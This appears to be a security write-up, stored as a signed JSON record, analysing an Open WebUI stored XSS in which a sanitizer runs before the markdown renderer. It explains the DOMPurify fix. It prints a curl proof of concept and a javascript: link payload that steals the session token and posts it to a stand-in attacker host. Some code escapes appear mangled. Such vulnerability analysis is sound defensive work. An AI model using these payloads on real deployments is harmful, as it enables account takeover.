-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## `sanitizeResponseContent` is the LLM-token cleaner\n\nCVE-2026-44721 is a stored XSS in Open WebUI through model description rendering, fixed in 0.9.0. The function the maintainers chose as the gate against it lives at `src/lib/utils/index.ts:83`:\n\n```ts\nexport const sanitizeResponseContent = (content: string) => {\n\treturn content\n\t\t.replace(/<\\|[a-z]*$/, '')\n\t\t.replace(/<\\|[a-z]+\\|$/, '')\n\t\t.replace(/<$/, '')\n\t\t.replaceAll('<', '<')\n\t\t.replaceAll('>', '>')\n\t\t.replaceAll(/<\\|[a-z]+\\|>/g, ' ')\n\t\t.trim();\n};\n```\n\nSix rules. The first three strip partial chat-template tokens at end-of-stream: `<|im_start`, `<|im_start|`, a lone trailing `<`. The next two escape literal angle brackets. The sixth replaces fully-formed chat-template tokens (`<|im_end|>`, `<|user|>`) with a space.\n\nThe name encodes the threat model: response content. The function is a streaming-LLM-output cleaner. The model emits text token by token; mid-stream, a Llama or Mistral checkpoint might emit a partial `<|im_start`, a literal `<` followed by a chunk that turns into something interpretable, or a fully-formed chat-template token the renderer must not display. The function eats all three.\n\nThe angle-bracket escapes are coverage for one specific threat: an LLM emitting a literal `` into the description, this step escapes the brackets and the rendered output is the literal text `<script>...`. The pipeline catches the threat model the function's name encodes.\n\n`.replaceAll('\\n', '
')` runs second. This is an explicit HTML injection step. The application wants visible line breaks in a context that `marked` collapses by default, so the author inserts `
` tags themselves after the sanitizer is done. Adding `<` and `>` characters two function calls after a sanitizer whose job was to escape `<` and `>` is the codebase's own admission that the sanitizer is at the wrong end of the pipe.\n\n`marked.parse(...)` runs third. The library converts markdown into HTML. The conversion catalog includes `[text](url)` becoming `text`. Default `marked` does not filter URI schemes on the `href`. `javascript:`, `data:`, and `vbscript:` all pass.\n\n`{@html ...}` is the fourth step. Svelte's `{@html}` directive writes the string into the DOM as raw HTML, by documented behavior. No escape.\n\nThe chain is sanitize-then-expand. The sanitizer's checks fire against the source; the expander emits HTML that the sanitizer never sees.\n\n## The PoC is a markdown link\n\nThe GHSA's PoC for CVE-2026-44721:\n\n```bash\ncurl -X POST 'http:///api/v1/models/create' \\\n\t-H 'Authorization: Bearer ' \\\n\t-H 'Content-Type: application/json' \\\n\t-d '{\"id\":\"xss-test\",\"meta\":{\"description\":\"[Click here](javascript:alert())\"}}'\n```\n\nTrace the description string through the pipeline.\n\n`[Click here](javascript:alert())` enters `sanitizeResponseContent`. The function inspects it against six rules:\n\n1. `/<\\|[a-z]*$/` matches nothing. The string contains no `<|` substring.\n2. `/<\\|[a-z]+\\|$/` matches nothing. Same reason.\n3. `/<$/` matches nothing. The string does not end in `<`.\n4. `.replaceAll('<', '<')` matches nothing. The string contains zero `<` characters.\n5. `.replaceAll('>', '>')` matches nothing. The string contains zero `>` characters.\n6. `/<\\|[a-z]+\\|>/g` matches nothing. Same.\n\nThe function returns the string unchanged.\n\n`.replaceAll('\\n', '
')` runs next. The string contains zero newlines. The function returns unchanged again.\n\n`marked.parse('[Click here](javascript:alert())')` produces:\n\n```html\n

Click here

\n```\n\n`{@html ...}` writes that string into the DOM as live nodes. When any user who has selected this model clicks the link, the browser dereferences `href` as a URI. The `javascript:` scheme handler executes `alert()`.\n\nReal attacks do not use `alert()`. The GHSA's second example exfiltrates the session:\n\n```\n[View benchmarks](javascript:void(fetch('/api/v1/auths/', {credentials: 'include'}).then(r => r.json()).then(d => fetch('https://attacker', {method: 'POST', body: JSON.stringify(d)}))))\n```\n\n`/api/v1/auths/` is Open WebUI's session endpoint. The first `fetch` carries the victim's cookie. The response body includes the JWT. The second `fetch` posts it to the attacker. The attacker now holds the bearer of any user who clicked, including any admin who opened the model picker and tried the description link.\n\nThe input had no angle brackets. The rendered output had two. `sanitizeResponseContent` ran between them and matched nothing.\n\n## The patch adds the sanitizer after the renderer\n\nThe v0.9.0 diff that closes CVE-2026-44721, on the same block:\n\n```diff\n-{@html marked.parse(\n-\tsanitizeResponseContent(...).replaceAll('\\n', '
')\n-)}\n+{@html DOMPurify.sanitize(\n+\tmarked.parse(\n+\t\tsanitizeResponseContent(...).replaceAll('\\n', '
')\n+\t)\n+)}\n```\n\nThe diff to `src/lib/utils/index.ts` shows zero changes to `sanitizeResponseContent`. The function still escapes `<` and `>`. The `.replaceAll('\\n', '
')` still inserts `
` tags. `marked.parse()` still expands markdown link syntax into anchor tags with attacker-controlled `href`. The pre-patch sanitizer ran at the input layer; the patch added a sanitizer at the output layer.\n\nDOMPurify inspects rendered HTML. Its default policy strips `javascript:` URIs from anchor `href` attributes and removes inline event handlers from any element. The output of `marked.parse('[Click](javascript:alert())')` becomes `

Click

` with the anchor's `href` removed. `{@html}` writes harmless HTML to the DOM.\n\nThe patch is the structurally correct one: canonicalize first, then sanitize. The sanitization runs against the form the renderer will actually emit, not the source it was handed. The same change appears in `Placeholder.svelte`, where the model description renders into both the `Tooltip` `content=` attribute and the inline `{@html}` block; both sites are wrapped in v0.9.0.\n\n## DOMPurify was already in the build\n\nThe line `import DOMPurify from 'dompurify';` was present in `src/lib/components/common/Tooltip.svelte` at v0.8.12. The Tooltip component calls `DOMPurify.sanitize(content)` on its `content` prop before handing the string to `tippy`. That call is the reason the third sink that renders model descriptions, `ModelSelector/ModelItem.svelte`'s tooltip, was never exploitable through this primitive: the Tooltip's internal `DOMPurify` ran on the marked-produced HTML before it reached the DOM.\n\nThe two vulnerable sites in `ChatPlaceholder.svelte` and `Placeholder.svelte` are the two `{@html}` sites, the ones that bypassed Tooltip entirely and wrote directly into the DOM. They are also the two sites the patch wraps. The fix did not introduce a dependency. It did not introduce a new function. It reused a function the codebase had already chosen as the right tool, at the two sites the original author of the description-rendering blocks did not reach for.\n\n`750a659a security: svg xss fix`, in the same `git log` as the changes that became v0.9.0, is the prior XSS fix on the codebase's `{@html}` surface. The pattern in this codebase is one render sink at a time, each closed when an external researcher finds it. The CVE record names two files; the fix touches two files; the sanitizer that closes both was a `package.json` dependency the codebase had been carrying since before either vulnerable line was written.\n\n## Gate before canonicalize, render-pipeline variant\n\nThe pattern has [seventeen prior exhibits](/patterns/gate-before-canonicalize) in this catalog. Most live in URL parsing, path resolution, or argument-list lexing. [SiYuan CVE-2026-44588](/posts/siyuan-cve-2026-44588-patched-the-encoder-decoder-runs-after) is the closest sibling on this exhibit's structural axis: an attribute encoder (`escapeAriaLabel`) ran on the source, a downstream `decodeURIComponent` call manufactured the forbidden form, the `innerHTML` setter wrote the manufactured form into the DOM. The author's encoder anticipated two downstream canonicalizers (the HTML-attribute parser and the `innerHTML` setter) and missed the third.\n\nOpen WebUI's pre-patch chain is the same shape with `marked.parse()` standing in for `decodeURIComponent`. The function name `sanitizeResponseContent` encodes the threat model the author was thinking about: streaming LLM output. The function was wired correctly at the streaming sink in `ResponseMessage.svelte`, then reused at four sinks whose input was authenticated user text passed through a markdown parser. The reuse copied the function call. It did not copy the threat model.\n\nThe structural reason has the same shape across the seventeen prior exhibits: a security check inspects an input for one form, a downstream layer converts the input into a different form, the forbidden representation lives in the gap between the two parses. Where most prior exhibits put the canonicalizer in a URL parser, an ExifTool argv reader, or a kernel hostname resolver, this exhibit puts the canonicalizer in `marked`. The renderer is the canonicalizer. The renderer emits the angle brackets the input lacked. The fix is to sanitize what the renderer produced.\n\nThe `.replaceAll('\\n', '
')` between the sanitizer and the renderer is the artifact in this codebase that should have triggered the design review. A code path that escapes `<` and `>` from user input, then inserts `<` and `>` tokens of its own choosing two function calls later, has already conceded that the sanitizer is at the wrong end of the pipe.\n\nPoC: [GHSA-gf5m-wcrh-7928](https://github.com/advisories/GHSA-gf5m-wcrh-7928).","closing_line":"`sanitizeResponseContent` ran. `marked.parse()` emitted the angle brackets after.","hook_md":"`sanitizeResponseContent` escapes `<` and `>`. The string `[Click here](javascript:alert())` contains neither. The function returns the input unchanged. `marked.parse()` then turns the markdown link into `Click here`. Svelte's `{@html}` writes the anchor to the DOM, and CVE-2026-44721 is the click.","post_id":442,"slug":"open-webui-cve-2026-44721-input-had-no-angle-brackets","title":"CVE-2026-44721: Open WebUI's Sanitizer Escaped Angle Brackets the Input Did Not Contain. marked.parse() Emitted Them.","type":"initial","unreadable_sentence":"The input had no angle brackets. The rendered output had two. `sanitizeResponseContent` ran between them and matched nothing."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCamuMJQAKCRDeZjl4jgkQ Jj1RAP99XJ+7XOAHvsnR8wZQFO91XHVGVfWLY39zLoCVVTyRDwD7BJJXg7FhA5SV /uKNY7NZOEI5lX0D8i6lBuYkUbjHFQo= =IaA2 -----END PGP SIGNATURE-----